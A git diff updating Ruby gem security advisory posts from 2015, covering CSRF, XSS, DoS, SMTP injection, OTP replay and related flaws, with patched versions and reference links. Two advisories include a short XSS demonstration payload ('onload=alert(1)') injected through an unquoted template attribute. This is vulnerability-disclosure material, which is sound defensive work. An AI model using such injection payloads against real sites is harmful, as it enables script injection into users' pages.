+++ b/advisories/_posts/2015-06-16-CVE-2015-3227.md
@@ -1,26 +1,36 @@
 ---
 layout: advisory
-title: |
-  CVE-2015-3227 (activesupport): Possible Denial of Service attack in Active Support
+title: 'CVE-2015-3227 (activesupport): Possible Denial of Service attack in Active
+  Support'
 comments: false
 categories:
 - activesupport
+- rails
 advisory:
   gem: activesupport
+  framework: rails
   cve: 2015-3227
+  ghsa: j96r-xvjq-r9pg
   url: https://groups.google.com/forum/#!topic/rubyonrails-security/bahr2JLnxvk
-  title: |
-    Possible Denial of Service attack in Active Support
+  title: Possible Denial of Service attack in Active Support
   date: 2015-06-16
-  description: "Specially crafted XML documents can cause applications to raise a
-    \n`SystemStackError` and potentially cause a denial of service attack.  This \nonly
-    impacts applications using REXML or JDOM as their XML processor.  Other \nXML
-    processors that Rails supports are not impacted. \n\nAll users running an affected
-    release should either upgrade or use one of the work arounds immediately.\n\nWorkarounds
-    \n----------- \nUse an XML parser that is not impacted by this problem, such as
-    Nokogiri or \nLibXML.  You can change the processor like this: \n\n  ActiveSupport::XmlMini.backend
-    = 'Nokogiri' \n\nIf you cannot change XML parsers, then adjust \n`RUBY_THREAD_MACHINE_STACK_SIZE`.
-    \n"
+  description: |
+    Specially crafted XML documents can cause applications to raise a
+    `SystemStackError` and potentially cause a denial of service attack.  This
+    only impacts applications using REXML or JDOM as their XML processor.  Other
+    XML processors that Rails supports are not impacted.
+
+    All users running an affected release should either upgrade or use one of the work arounds immediately.
+
+    Workarounds
+    -----------
+    Use an XML parser that is not impacted by this problem, such as Nokogiri or
+    LibXML.  You can change the processor like this:
+
+      ActiveSupport::XmlMini.backend = 'Nokogiri'
+
+    If you cannot change XML parsers, then adjust
+    `RUBY_THREAD_MACHINE_STACK_SIZE`.
   patched_versions:
   - ">= 4.2.2"
   - "~> 4.1.11"
diff --git a/advisories/_posts/2015-06-16-CVE-2015-4619.md b/advisories/_posts/2015-06-16-CVE-2015-4619.md
index d5c9d2bf..8b3fe482 100644
--- a/advisories/_posts/2015-06-16-CVE-2015-4619.md
+++ b/advisories/_posts/2015-06-16-CVE-2015-4619.md
@@ -8,12 +8,19 @@ categories:
 advisory:
   gem: spina
   cve: 2015-4619
+  ghsa: 2hxv-mx8x-mcj9
+  url: http://www.openwall.com/lists/oss-security/2015/06/16/11
   title: Cross-site request forgery (CSRF) vulnerability in Spina gem
   date: 2015-06-16
-  url: http://www.openwall.com/lists/oss-security/2015/06/16/11
-  description: "`Spina::ApplicationController` actions didn't have CSRF protection.
+  description: |
+    "`Spina::ApplicationController` actions didn't have CSRF protection.
     This causes a CSRF vulnerability across the entire engine which includes administrative
     functionality such as creating users, changing passwords, and media management."
+  cvss_v3: 8.8
   patched_versions:
   - ">= 0.6.29"
+  related:
+    url:
+    - https://sca.analysiscenter.veracode.com/vulnerability-database/security/cross-site-request-forgery-csrf/ruby/sid-1686/summary
+    - https://github.com/rubysec/ruby-advisory-db/issues/238
 ---
diff --git a/advisories/_posts/2015-06-22-CVE-2015-5147.md b/advisories/_posts/2015-06-22-CVE-2015-5147.md
index ef12b487..14de4e1a 100644
--- a/advisories/_posts/2015-06-22-CVE-2015-5147.md
+++ b/advisories/_posts/2015-06-22-CVE-2015-5147.md
@@ -9,6 +9,7 @@ advisory:
   gem: redcarpet
   cve: 2015-5147
   osvdb: 123859
+  ghsa: 7322-9mx6-5j2m
   url: http://seclists.org/oss-sec/2015/q2/818
   title: redcarpet Gem for Ruby html.c header_anchor() Function Stack Overflow
   date: 2015-06-22
diff --git a/advisories/_posts/2015-06-30-OSVDB-124383.md b/advisories/_posts/2015-06-30-OSVDB-124383.md
index 5c6e392d..46d0cfc9 100644
--- a/advisories/_posts/2015-06-30-OSVDB-124383.md
+++ b/advisories/_posts/2015-06-30-OSVDB-124383.md
@@ -8,12 +8,19 @@ categories:
 advisory:
   gem: ruby-saml
   osvdb: 124383
-  url: https://github.com/onelogin/ruby-saml/pull/247
+  url: https://github.com/SAML-Toolkits/ruby-saml/releases/tag/v1.0.0
   title: Ruby-Saml Gem is vulnerable to entity expansion attacks
   date: 2015-06-30
-  description: |
-    ruby-saml before 1.0.0 is vulnerable to entity expansion attacks.
+  description: 'ruby-saml before 1.0.0 is vulnerable to entity expansion attacks.
+
+    '
   cvss_v2: 3.9
   patched_versions:
   - ">= 1.0.0"
+  related:
+    url:
+    - https://github.com/SAML-Toolkits/ruby-saml/releases/tag/v1.0.0
+    - https://github.com/SAML-Toolkits/ruby-saml/pull/247
+    - https://security.snyk.io/vuln/SNYK-RUBY-RUBYSAML-20232
+    - https://github.com/onelogin/ruby-saml/pull/247
 ---
diff --git a/advisories/_posts/2015-07-06-OSVDB-125675.md b/advisories/_posts/2015-07-06-OSVDB-125675.md
index 5ab04e82..5f025de6 100644
--- a/advisories/_posts/2015-07-06-OSVDB-125675.md
+++ b/advisories/_posts/2015-07-06-OSVDB-125675.md
@@ -7,10 +7,18 @@ categories:
 advisory:
   gem: sidekiq
   osvdb: 125675
-  url: https://github.com/mperham/sidekiq/pull/2422
+  url: https://seclists.org/oss-sec/2015/q3/267
   title: Sidekiq Gem for Ruby Multiple Unspecified CSRF
   date: 2015-07-06
-  description: Sidekiq::Web lacks CSRF protection
+  description: 'Sidekiq::Web lacks CSRF protection
+
+    '
   patched_versions:
   - ">= 3.4.2"
+  related:
+    url:
+    - https://seclists.org/oss-sec/2015/q3/267
+    - https://github.com/mperham/sidekiq/pull/2422
+    - https://github.com/sidekiq/sidekiq/commit/cf3c43b2410c4573e05ac119494e41115f4140ad
+    - https://security.snyk.io/vuln/SNYK-RUBY-SIDEKIQ-20233
 ---
diff --git a/advisories/_posts/2015-07-13-CVE-2017-11173.md b/advisories/_posts/2015-07-13-CVE-2017-11173.md
new file mode 100644
index 00000000..2e30997e
--- /dev/null
+++ b/advisories/_posts/2015-07-13-CVE-2017-11173.md
@@ -0,0 +1,30 @@
+---
+layout: advisory
+title: 'CVE-2017-11173 (rack-cors): rack-cors Gem Missing Anchor permits unauthorized
+  CORS requests'
+comments: false
+categories:
+- rack-cors
+advisory:
+  gem: rack-cors
+  cve: 2017-11173
+  ghsa: 2j9c-9vmv-7m39
+  url: https://github.com/cyu/rack-cors/issues/86
+  title: rack-cors Gem Missing Anchor permits unauthorized CORS requests
+  date: 2015-07-13
+  description: |
+    Missing anchor in generated regex for rack-cors before 0.4.1
+    allows a malicious third-party site to perform CORS requests.
+    If the configuration were intended to allow only the trusted
+    example.com domain name and not the malicious example.net domain name,
+    then example.com.example.net (as well as example.com-example.net) would
+    be inadvertently allowed.
+  cvss_v2: 6.8
+  cvss_v3: 8.8
+  patched_versions:
+  - ">= 0.4.1"
+  related:
+    url:
+    - https://github.com/cyu/rack-cors/issues/86
+    - http://seclists.org/fulldisclosure/2017/Jul/22
+---
diff --git a/advisories/_posts/2015-07-17-OSVDB-126331.md b/advisories/_posts/2015-07-17-OSVDB-126331.md
index 70169275..2546d521 100644
--- a/advisories/_posts/2015-07-17-OSVDB-126331.md
+++ b/advisories/_posts/2015-07-17-OSVDB-126331.md
@@ -7,15 +7,22 @@ categories:
 advisory:
   gem: sidekiq-pro
   osvdb: 126331
-  url: https://github.com/mperham/sidekiq/commit/651400ed8f237118346895c99dc28ca94f3169d3
+  url: https://github.com/sidekiq/sidekiq/blob/main/Pro-Changes.md#206-193
   title: Sidekiq Pro Gem for Ruby CSRF in Job Filtering
   date: 2015-07-17
   description: |
-    Sidekiq::Web job filtering lacks CSRF protection. This issue
-    is related to OSVDB-125675.
+    Sidekiq::Web job filtering lacks CSRF protection.
+    This issue is related to OSVDB-125675.
   patched_versions:
+  - "~> 1.9.3"
   - ">= 2.0.6"
   related:
     osvdb:
     - 125675
+    url:
+    - https://github.com/sidekiq/sidekiq/blob/main/Pro-Changes.md#206-193
+    - https://github.com/sidekiq/sidekiq/issues/2442
+    - https://github.com/sidekiq/sidekiq/issues/2467
+    - https://github.com/rubysec/ruby-advisory-db/pull/201
+    - https://security.snyk.io/vuln/SNYK-RUBY-SIDEKIQPRO-20234
 ---
diff --git a/advisories/_posts/2015-07-20-OSVDB-125701.md b/advisories/_posts/2015-07-20-OSVDB-125701.md
index 81170289..8884d8a4 100644
--- a/advisories/_posts/2015-07-20-OSVDB-125701.md
+++ b/advisories/_posts/2015-07-20-OSVDB-125701.md
@@ -1,26 +1,27 @@
 ---
 layout: advisory
-title: |
-  OSVDB-125701 (spree): Spree RABL templates rendering allows Arbitrary Code Execution and File
-  Disclosure
+title: 'OSVDB-125701 (spree): Spree RABL templates rendering allows Arbitrary Code
+  Execution and File Disclosure'
 comments: false
 categories:
 - spree
 advisory:
   gem: spree
   osvdb: 125701
-  url: https://spreecommerce.com/blog/security-updates-2015-7-20
-  title: |
-    Spree RABL templates rendering allows Arbitrary Code Execution and File
-    Disclosure
+  url: https://web.archive.org/web/20160331140223/https://spreecommerce.com/blog/security-updates-2015-7-20
+  title: Spree RABL templates rendering allows Arbitrary Code Execution and File Disclosure
   date: 2015-07-20
   description: |
-    Spree contains a flaw where the rendering of arbitrary RABL templates allows
-    for execution arbitrary files on the host system, as well as disclosing the
-    existence of files on the system.
+    Spree contains a flaw where the rendering of arbitrary RABL templates
+    allows for execution arbitrary files on the host system, as well as
+    disclosing the existence of files on the system.
   patched_versions:
   - "~> 2.2.12"
   - "~> 2.3.11"
   - "~> 2.4.8"
   - ">= 3.0.2"
+  related:
+    url:
+    - https://web.archive.org/web/20160331140223/https://spreecommerce.com/blog/security-updates-2015-7-20
+    - https://github.com/rubysec/bundler-audit/issues/106
 ---
diff --git a/advisories/_posts/2015-07-21-CVE-2015-5378.md b/advisories/_posts/2015-07-21-CVE-2015-5378.md
new file mode 100644
index 00000000..dbb93642
--- /dev/null
+++ b/advisories/_posts/2015-07-21-CVE-2015-5378.md
@@ -0,0 +1,32 @@
+---
+layout: advisory
+title: 'CVE-2015-5378 (logstash-core): Logstash: SSL/TLS FREAK Attack'
+comments: false
+categories:
+- logstash-core
+advisory:
+  gem: logstash-core
+  cve: 2015-5378
+  ghsa: g6rc-3fpq-w2gr
+  url: https://packetstormsecurity.com/files/132800/Logstash-1.5.2-SSL-TLS-FREAK.html
+  title: 'Logstash: SSL/TLS FREAK Attack'
+  date: 2015-07-21
+  description: |
+    Logstash: SSL/TLS FREAK Attack: Logstash 1.5.x before 1.5.3 and
+    1.4.x before 1.4.4 allows remote attackers to read communications
+    between Logstash Forwarder agent and Logstash server.
+  cvss_v2: 5.0
+  cvss_v3: 7.5
+  patched_versions:
+  - "~> 1.4.4"
+  - ">= 1.5.3"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2015-5378
+    - https://packetstormsecurity.com/files/132800/Logstash-1.5.2-SSL-TLS-FREAK.html
+    - https://sca.analysiscenter.veracode.com/vulnerability-database/security/factoring-attack-rsa-export-keys-freak/ruby/sid-1745/summary
+    - https://github.com/rubysec/ruby-advisory-db/issues/238
+    - https://www.elastic.co/community/security
+    - https://github.com/advisories/GHSA-g6rc-3fpq-w2gr
+    - https://web.archive.org/web/20181211080524/http://www.securityfocus.com/bid/76015
+---
diff --git a/advisories/_posts/2015-07-21-CVE-2015-8857.md b/advisories/_posts/2015-07-21-CVE-2015-8857.md
new file mode 100644
index 00000000..ea14f5d0
--- /dev/null
+++ b/advisories/_posts/2015-07-21-CVE-2015-8857.md
@@ -0,0 +1,40 @@
+---
+layout: advisory
+title: 'CVE-2015-8857 (uglifier): uglifier incorrectly handles non-boolean comparisons
+  during minification'
+comments: false
+categories:
+- uglifier
+advisory:
+  gem: uglifier
+  cve: 2015-8857
+  osvdb: 126747
+  ghsa: 34r7-q49f-h37c
+  url: https://github.com/mishoo/UglifyJS2/issues/751
+  title: uglifier incorrectly handles non-boolean comparisons during minification
+  date: 2015-07-21
+  description: |
+    The upstream library for the Ruby uglifier gem, UglifyJS, is
+    affected by a vulnerability that allows a specially crafted
+    Javascript file to have altered functionality after minification.
+
+    This bug, found in UglifyJS versions 2.4.23 and earlier, was demonstrated
+    to allow potentially malicious code to be hidden within secure code,
+    and activated by the minification process.
+
+    For more information, consult:
+    * https://zyan.scripts.mit.edu/blog/backdooring-js
+
+    * CWE: 254 - 7PK - Security Features
+  cvss_v2: 7.5
+  cvss_v3: 9.8
+  patched_versions:
+  - ">= 2.7.2"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2015-8857
+    - https://github.com/mishoo/UglifyJS/issues/751
+    - https://blog.azuki.vip/backdooring-js
+    - https://www.openwall.com/lists/oss-security/2016/04/20/11
+    - https://github.com/advisories/GHSA-34r7-q49f-h37c
+---
diff --git a/advisories/_posts/2015-07-21-OSVDB-126747.md b/advisories/_posts/2015-07-21-OSVDB-126747.md
index e446ba3a..e871891a 100644
--- a/advisories/_posts/2015-07-21-OSVDB-126747.md
+++ b/advisories/_posts/2015-07-21-OSVDB-126747.md
@@ -11,12 +11,17 @@ advisory:
   url: https://github.com/mishoo/UglifyJS2/issues/751
   title: uglifier incorrectly handles non-boolean comparisons during minification
   date: 2015-07-21
-  description: "\nThe upstream library for the Ruby uglifier gem, UglifyJS, is\naffected
-    by a vulnerability that allows a specially crafted \nJavascript file to have altered
-    functionality after minification.\n\nThis bug, found in UglifyJS versions 2.4.23
-    and earlier, was demonstrated\nto allow potentially malicious code to be hidden
-    within secure code, \nand activated by the minification process.\n\nFor more information,
-    consult: https://zyan.scripts.mit.edu/blog/backdooring-js/\n"
+  description: |2
+
+    The upstream library for the Ruby uglifier gem, UglifyJS, is
+    affected by a vulnerability that allows a specially crafted
+    Javascript file to have altered functionality after minification.
+
+    This bug, found in UglifyJS versions 2.4.23 and earlier, was demonstrated
+    to allow potentially malicious code to be hidden within secure code,
+    and activated by the minification process.
+
+    For more information, consult: https://zyan.scripts.mit.edu/blog/backdooring-js/
   patched_versions:
   - ">= 2.7.2"
 ---
diff --git a/advisories/_posts/2015-07-28-OSVDB-125699.md b/advisories/_posts/2015-07-28-OSVDB-125699.md
index eb15677c..f72cad19 100644
--- a/advisories/_posts/2015-07-28-OSVDB-125699.md
+++ b/advisories/_posts/2015-07-28-OSVDB-125699.md
@@ -1,27 +1,30 @@
 ---
 layout: advisory
-title: |
-  OSVDB-125699 (spree): Spree RABL templates rendering allows Arbitrary Code Execution and File
-  Disclosure
+title: 'OSVDB-125699 (spree): Spree RABL templates rendering allows Arbitrary Code
+  Execution and File Disclosure'
 comments: false
 categories:
 - spree
 advisory:
   gem: spree
   osvdb: 125699
-  url: https://spreecommerce.com/blog/security-updates-2015-7-28
-  title: |
-    Spree RABL templates rendering allows Arbitrary Code Execution and File
-    Disclosure
+  url: https://web.archive.org/web/20160331133641/spreecommerce.com/blog/security-updates-2015-7-28
+  title: Spree RABL templates rendering allows Arbitrary Code Execution and File Disclosure
   date: 2015-07-28
   description: |
-    Spree contains a flaw where the rendering of arbitrary RABL templates allows
-    for execution arbitrary files on the host system, as well as disclosing the
-    existence of files on the system. This is a different issue than
-    OSVDB-125701.
+    Spree contains a flaw where the rendering of arbitrary RABL templates
+    allows for execution arbitrary files on the host system, as well as
+    disclosing the existence of files on the system.
+    This is a different issue than OSVDB-125701.
   patched_versions:
   - "~> 2.2.13"
   - "~> 2.3.12"
   - "~> 2.4.9"
   - ">= 3.0.3"
+  related:
+    osvdb:
+    - 125701
+    url:
+    - https://github.com/rubysec/bundler-audit/issues/106
+    - https://security.snyk.io/vuln/SNYK-RUBY-SPREE-20237
 ---
diff --git a/advisories/_posts/2015-08-20-CVE-2015-5619.md b/advisories/_posts/2015-08-20-CVE-2015-5619.md
new file mode 100644
index 00000000..183a649d
--- /dev/null
+++ b/advisories/_posts/2015-08-20-CVE-2015-5619.md
@@ -0,0 +1,32 @@
+---
+layout: advisory
+title: 'CVE-2015-5619 (logstash-core): Logstash: Man-In-The Middle attack'
+comments: false
+categories:
+- logstash-core
+advisory:
+  gem: logstash-core
+  cve: 2015-5619
+  ghsa: 68pf-743m-hv2w
+  url: https://www.elastic.co/blog/logstash-1-5-4-and-1-4-5-released
+  title: 'Logstash: Man-In-The Middle attack'
+  date: 2015-08-20
+  description: |
+    Logstash 1.4.x before 1.4.5 and 1.5.x before 1.5.4 with Lumberjack
+    output or the Logstash forwarder does not validate SSL/TLS certificates
+    from the Logstash server, which might allow attackers to obtain
+    sensitive information via a man-in-the-middle attack.
+  cvss_v2: 4.3
+  cvss_v3: 5.9
+  patched_versions:
+  - "~> 1.4.5"
+  - ">= 1.5.4"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2015-5619
+    - https://www.elastic.co/blog/logstash-1-5-4-and-1-4-5-released
+    - https://www.elastic.co/community/security
+    - https://packetstormsecurity.com/files/133269/Logstash-1.5.3-Man-In-The-Middle.html
+    - https://sca.analysiscenter.veracode.com/vulnerability-database/security/man-middle-mitm-attacks/ruby/sid-1798/summary
+    - https://github.com/advisories/GHSA-68pf-743m-hv2w
+---
diff --git a/advisories/_posts/2015-08-24-OSVDB-131671.md b/advisories/_posts/2015-08-24-OSVDB-131671.md
index 06e1beaa..b645be2b 100644
--- a/advisories/_posts/2015-08-24-OSVDB-131671.md
+++ b/advisories/_posts/2015-08-24-OSVDB-131671.md
@@ -8,13 +8,13 @@ categories:
 advisory:
   gem: handlebars-source
   osvdb: 131671
-  url: https://blog.srcclr.com/handlebars_vulnerability_research_findings/
+  url: https://security.snyk.io/vuln/SNYK-RUBY-HANDLEBARSSOURCE-20238
   title: handlebars.js - quoteless attributes in templates can lead to XSS
   date: 2015-08-24
   description: |
-    The upstream 'handlebars' node.js module was found to not properly escape
-    equals (=) signs, leading to possible content injection via attributes
-    in templates.
+    The upstream 'handlebars' node.js module was found to not properly
+    escape equals (=) signs, leading to possible content injection
+    via attributes in templates.
 
     Example:
     * Template: <a href={{foo}}/>
@@ -22,4 +22,13 @@ advisory:
     * Rendered result: <a href=test.com onload=alert(1)/>
   patched_versions:
   - ">= 4.0.0"
+  related:
+    ghsa:
+    - 9prh-257w-9277
+    url:
+    - https://github.com/handlebars-lang/handlebars.js
+    - https://github.com/handlebars-lang/handlebars.js/compare/v3.0.8...v4.0.0
+    - https://security.snyk.io/vuln/SNYK-RUBY-HANDLEBARSSOURCE-20238
+    - https://github.com/rubysec/bundler-audit/issues/185
+    - https://www.veracode.com/blog/research/handlebarsjs-vulnerability-impact-study
 ---
diff --git a/advisories/_posts/2015-09-17-CVE-2015-7225.md b/advisories/_posts/2015-09-17-CVE-2015-7225.md
index 2617b305..7eac9687 100644
--- a/advisories/_posts/2015-09-17-CVE-2015-7225.md
+++ b/advisories/_posts/2015-09-17-CVE-2015-7225.md
@@ -1,24 +1,30 @@
 ---
 layout: advisory
-title: |
-  CVE-2015-7225 (devise-two-factor): devise-two-factor 1.1.0 and earlier vulnerable to replay attacks
+title: 'CVE-2015-7225 (devise-two-factor): devise-two-factor 1.1.0 and earlier vulnerable
+  to replay attacks'
 comments: false
 categories:
 - devise-two-factor
 advisory:
   gem: devise-two-factor
   cve: 2015-7225
+  ghsa: x489-jjwm-52g7
   url: http://www.openwall.com/lists/oss-security/2015/09/06/2
-  title: |
-    devise-two-factor 1.1.0 and earlier vulnerable to replay attacks
+  title: devise-two-factor 1.1.0 and earlier vulnerable to replay attacks
   date: 2015-09-17
-  description: "A OTP replay vulnerability in devise-two-factor 1.1.0 and earlier
-    allows local\nattackers to shoulder-surf a user's TOTP verification code and use
-    it to\nlogin after the user has authenticated. \n\nBy not \"burning\" a previously
-    used TOTP, devise-two-factor allows a narrow\nwindow of opportunity (aka the timestep
-    period) where an attacker can re-use a\nverification code. \n\nShould an attacker
-    possess a given user's authentication \ncredentials, this flaw effectively defeats
-    two-factor authentication for the \nduration of the timestep. \n"
+  description: |
+    A OTP replay vulnerability in devise-two-factor 1.1.0 and earlier allows local
+    attackers to shoulder-surf a user's TOTP verification code and use it to
+    login after the user has authenticated.
+
+    By not "burning" a previously used TOTP, devise-two-factor allows a narrow
+    window of opportunity (aka the timestep period) where an attacker can re-use a
+    verification code.
+
+    Should an attacker possess a given user's authentication
+    credentials, this flaw effectively defeats two-factor authentication for the
+    duration of the timestep.
+  cvss_v3: 5.3
   patched_versions:
   - ">= 2.0.0"
 ---
diff --git a/advisories/_posts/2015-09-20-CVE-2015-7314.md b/advisories/_posts/2015-09-20-CVE-2015-7314.md
index 6c34ccdd..0f373ec0 100644
--- a/advisories/_posts/2015-09-20-CVE-2015-7314.md
+++ b/advisories/_posts/2015-09-20-CVE-2015-7314.md
@@ -9,6 +9,7 @@ advisory:
   gem: gollum
   cve: 2015-7314
   osvdb: 127779
+  ghsa: m2q3-53fq-7h66
   url: https://github.com/gollum/gollum/commit/ce68a88293ce3b18c261312392ad33a88bb69ea1
   title: gollum Upload File Functionality Permits Arbitrary File Access
   date: 2015-09-20
diff --git a/advisories/_posts/2015-10-24-CVE-2017-1000042.md b/advisories/_posts/2015-10-24-CVE-2017-1000042.md
new file mode 100644
index 00000000..d58a7ae3
--- /dev/null
+++ b/advisories/_posts/2015-10-24-CVE-2017-1000042.md
@@ -0,0 +1,44 @@
+---
+layout: advisory
+title: 'CVE-2017-1000042 (mapbox-rails): mapbox-rails Content Injection via TileJSON
+  attribute'
+comments: false
+categories:
+- mapbox-rails
+advisory:
+  gem: mapbox-rails
+  cve: 2017-1000042
+  osvdb: 129854
+  ghsa: qr28-7j6p-9hmv
+  url: https://nvd.nist.gov/vuln/detail/CVE-2017-1000042
+  title: mapbox-rails Content Injection via TileJSON attribute
+  date: 2015-10-24
+  description: |
+    Mapbox.js versions 1.x prior to 1.6.5 and 2.x prior to 2.1.7 are vulnerable
+    to a cross-site-scripting attack in certain uncommon usage scenarios.
+
+    If you use L.mapbox.map or L.mapbox.tileLayer to load untrusted TileJSON
+    content from a non-Mapbox URL, it is possible for a malicious user with
+    control over the TileJSON content to inject script content into the
+    "attribution" value of the TileJSON which will be executed in the context of
+    the page using Mapbox.js.
+
+    Such usage is uncommon. The following usage scenarios are not vulnerable:
+
+    * only trusted TileJSON content is loaded
+    * TileJSON content comes only from mapbox.com URLs
+    * a Mapbox map ID is supplied, rather than a TileJSON URL
+
+    * CWE: 79 - Improper Neutralization of Input During Web Page Generation (XSS)
+  cvss_v2: 4.3
+  cvss_v3: 6.1
+  patched_versions:
+  - "~> 1.6.5"
+  - ">= 2.1.7"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2017-1000042
+    - https://nodesecurity.io/advisories/49
+    - https://hackerone.com/reports/54327
+    - https://github.com/advisories/GHSA-qr28-7j6p-9hmv
+---
diff --git a/advisories/_posts/2015-10-24-OSVDB-129854.md b/advisories/_posts/2015-10-24-OSVDB-129854.md
index 93397412..6bd7ec07 100644
--- a/advisories/_posts/2015-10-24-OSVDB-129854.md
+++ b/advisories/_posts/2015-10-24-OSVDB-129854.md
@@ -25,4 +25,7 @@ advisory:
     * only trusted TileJSON content is loaded
     * TileJSON content comes only from mapbox.com URLs
     * a Mapbox map ID is supplied, rather than a TileJSON URL
+  patched_versions:
+  - "~> 1.6.5"
+  - ">= 2.1.7"
 ---
diff --git a/advisories/_posts/2015-11-17-OSVDB-131671.md b/advisories/_posts/2015-11-17-OSVDB-131671.md
index 7ca3cb4e..83e0ee63 100644
--- a/advisories/_posts/2015-11-17-OSVDB-131671.md
+++ b/advisories/_posts/2015-11-17-OSVDB-131671.md
@@ -8,13 +8,13 @@ categories:
 advisory:
   gem: mustache-js-rails
   osvdb: 131671
-  url: https://blog.srcclr.com/handlebars_vulnerability_research_findings/
+  url: https://security.snyk.io/vuln/SNYK-RUBY-MUSTACHEJSRAILS-20242
   title: mustache.js - quoteless attributes in templates can lead to XSS
   date: 2015-11-17
   description: |
-    The upstream 'mustache.js' node.js module was found to not properly escape
-    backtick (`) and equals (=) characters, leading to possible content injection
-    via attributes in templates.
+    The upstream 'mustache.js' node.js module was found to not properly
+    escape backtick (`) and equals (=) characters, leading to possible
+    content injection via attributes in templates.
 
     Example:
     * Template: <a href={{foo}}/>
@@ -22,4 +22,11 @@ advisory:
     * Rendered result: <a href=test.com onload=alert(1)/>
   patched_versions:
   - ">= 2.0.3"
+  related:
+    ghsa:
+    - w3w8-37jv-2c58
+    url:
+    - https://github.com/janl/mustache.js/pull/530
+    - https://security.snyk.io/vuln/SNYK-RUBY-MUSTACHEJSRAILS-20242
+    - https://www.veracode.com/blog/research/handlebarsjs-vulnerability-impact-study
 ---
diff --git a/advisories/_posts/2015-11-23-CVE-2015-7519.md b/advisories/_posts/2015-11-23-CVE-2015-7519.md
index a69502d8..2b901de0 100644
--- a/advisories/_posts/2015-11-23-CVE-2015-7519.md
+++ b/advisories/_posts/2015-11-23-CVE-2015-7519.md
@@ -8,15 +8,17 @@ categories:
 advisory:
   gem: passenger
   cve: 2015-7519
+  ghsa: fxwv-953p-7qpf
   url: https://blog.phusion.nl/2015/12/07/cve-2015-7519/
   title: Phusion Passenger Server allows to overwrite headers in some cases
   date: 2015-11-23
-  description: It is possible in some cases, for clients to overwrite headers set
-    by the server, resulting in a medium level security issue. Passenger 5 uses an
-    SCGI-inspired format to pass headers to Ruby/Python applications, while Passenger
-    4 uses an SCGI-inspired format to pass headers to all applications. This implies
-    a conversion to UPPER_CASE_WITH_UNDERSCORES whereby the difference between characters
-    like '-' and '_' is lost.
+  description: |
+    It is possible in some cases, for clients to overwrite headers set by
+    the server, resulting in a medium level security issue. Passenger 5 uses an SCGI-inspired
+    format to pass headers to Ruby/Python applications, while Passenger 4 uses an SCGI-inspired
+    format to pass headers to all applications. This implies a conversion to UPPER_CASE_WITH_UNDERSCORES
+    whereby the difference between characters like '-' and '_' is lost.
+  cvss_v3: 3.7
   patched_versions:
   - "~> 4.0.60"
   - ">= 5.0.22"
diff --git a/advisories/_posts/2015-12-09-CVE-2015-9097.md b/advisories/_posts/2015-12-09-CVE-2015-9097.md
new file mode 100644
index 00000000..bfd90de8
--- /dev/null
+++ b/advisories/_posts/2015-12-09-CVE-2015-9097.md
@@ -0,0 +1,27 @@
+---
+layout: advisory
+title: 'CVE-2015-9097 (mail): CVE-2015-9097 rubygem-mail: SMTP injection via recipient
+  email addresses'
+comments: false
+categories:
+- mail
+advisory:
+  gem: mail
+  cve: 2015-9097
+  osvdb: 131677
+  ghsa: q86f-fmqf-qrf6
+  url: https://hackerone.com/reports/137631
+  title: 'CVE-2015-9097 rubygem-mail: SMTP injection via recipient email addresses'
+  date: 2015-12-09
+  description: |
+    The mail gem before 2.5.5 for Ruby (aka A Really Ruby Mail Library) is
+    vulnerable to SMTP command injection via CRLF sequences in a RCPT TO or MAIL FROM
+    command, as demonstrated by CRLF sequences immediately before and after a DATA substring.
+  cvss_v3: 6.1
+  patched_versions:
+  - ">= 2.5.5"
+  related:
+    url:
+    - http://www.mbsd.jp/Whitepaper/smtpi.pdf
+    - https://github.com/mikel/mail/pull/1097
+---
diff --git a/advisories/_posts/2015-12-09-OSVDB-131677.md b/advisories/_posts/2015-12-09-OSVDB-131677.md
deleted file mode 100644
index bbd0b2c3..00000000
--- a/advisories/_posts/2015-12-09-OSVDB-131677.md
+++ /dev/null
@@ -1,27 +0,0 @@
----
-layout: advisory
-title: 'OSVDB-131677 (mail): Mail Gem for Ruby vulnerable to SMTP Injection via recipient
-  email addresses'
-comments: false
-categories:
-- mail
-advisory:
-  gem: mail
-  osvdb: 131677
-  url: http://www.mbsd.jp/Whitepaper/smtpi.pdf
-  title: Mail Gem for Ruby vulnerable to SMTP Injection via recipient email addresses
-  date: 2015-12-09
-  description: |
-    Because the Mail Gem for Ruby does not validate or impose a length limit on
-    email address fields, an attacker can modify messages sent with the gem via a
-    specially-crafted recipient email address.
-
-    Applications that validate email address format are not affected by this
-    vulnerability.
-
-    The recipient attack is described in Terada, Takeshi. "SMTP Injection via
-    Recipient Email Addresses." 2015. The attacks described in the paper (Terada,
-    p. 4) can be applied to the library without any modification.
-  patched_versions:
-  - ">= 2.6.0"
----
diff --git a/advisories/_posts/2015-12-11-CVE-2015-8968.md b/advisories/_posts/2015-12-11-CVE-2015-8968.md
index 278a165e..466e1b36 100644
--- a/advisories/_posts/2015-12-11-CVE-2015-8968.md
+++ b/advisories/_posts/2015-12-11-CVE-2015-8968.md
@@ -8,6 +8,7 @@ categories:
 advisory:
   gem: git-fastclone
   cve: 2015-8968
+  ghsa: 8gg6-3r63-25m8
   url: https://hackerone.com/reports/104465
   title: git-fastclone permits arbitrary shell command execution from .gitmodules
   date: 2015-12-11
@@ -24,6 +25,7 @@ advisory:
     they could exploit this. The ext command will be run if the repository is
     recursively cloned or if submodules are updated. This attack works when
     cloning both local and remote repositories.
+  cvss_v3: 8.8
   patched_versions:
   - ">= 1.0.1"
 ---
diff --git a/advisories/_posts/2015-12-15-CVE-2015-5312.md b/advisories/_posts/2015-12-15-CVE-2015-5312.md
index 19db832b..00ae60ce 100644
--- a/advisories/_posts/2015-12-15-CVE-2015-5312.md
+++ b/advisories/_posts/2015-12-15-CVE-2015-5312.md
@@ -8,6 +8,7 @@ categories:
 advisory:
   gem: nokogiri
   cve: 2015-5312
+  ghsa: xjqg-9jvg-fgx2
   url: https://groups.google.com/forum/#!topic/ruby-security-ann/aSbgDiwb24s
   title: Nokogiri gem contains several vulnerabilities in libxml2
   date: 2015-12-15
diff --git a/advisories/_posts/2015-12-15-CVE-2015-8969.md b/advisories/_posts/2015-12-15-CVE-2015-8969.md
index 1385af8a..11e19900 100644
--- a/advisories/_posts/2015-12-15-CVE-2015-8969.md
+++ b/advisories/_posts/2015-12-15-CVE-2015-8969.md
@@ -8,6 +8,7 @@ categories:
 advisory:
   gem: git-fastclone
   cve: 2015-8969
+  ghsa: mf6w-45cf-qhmp
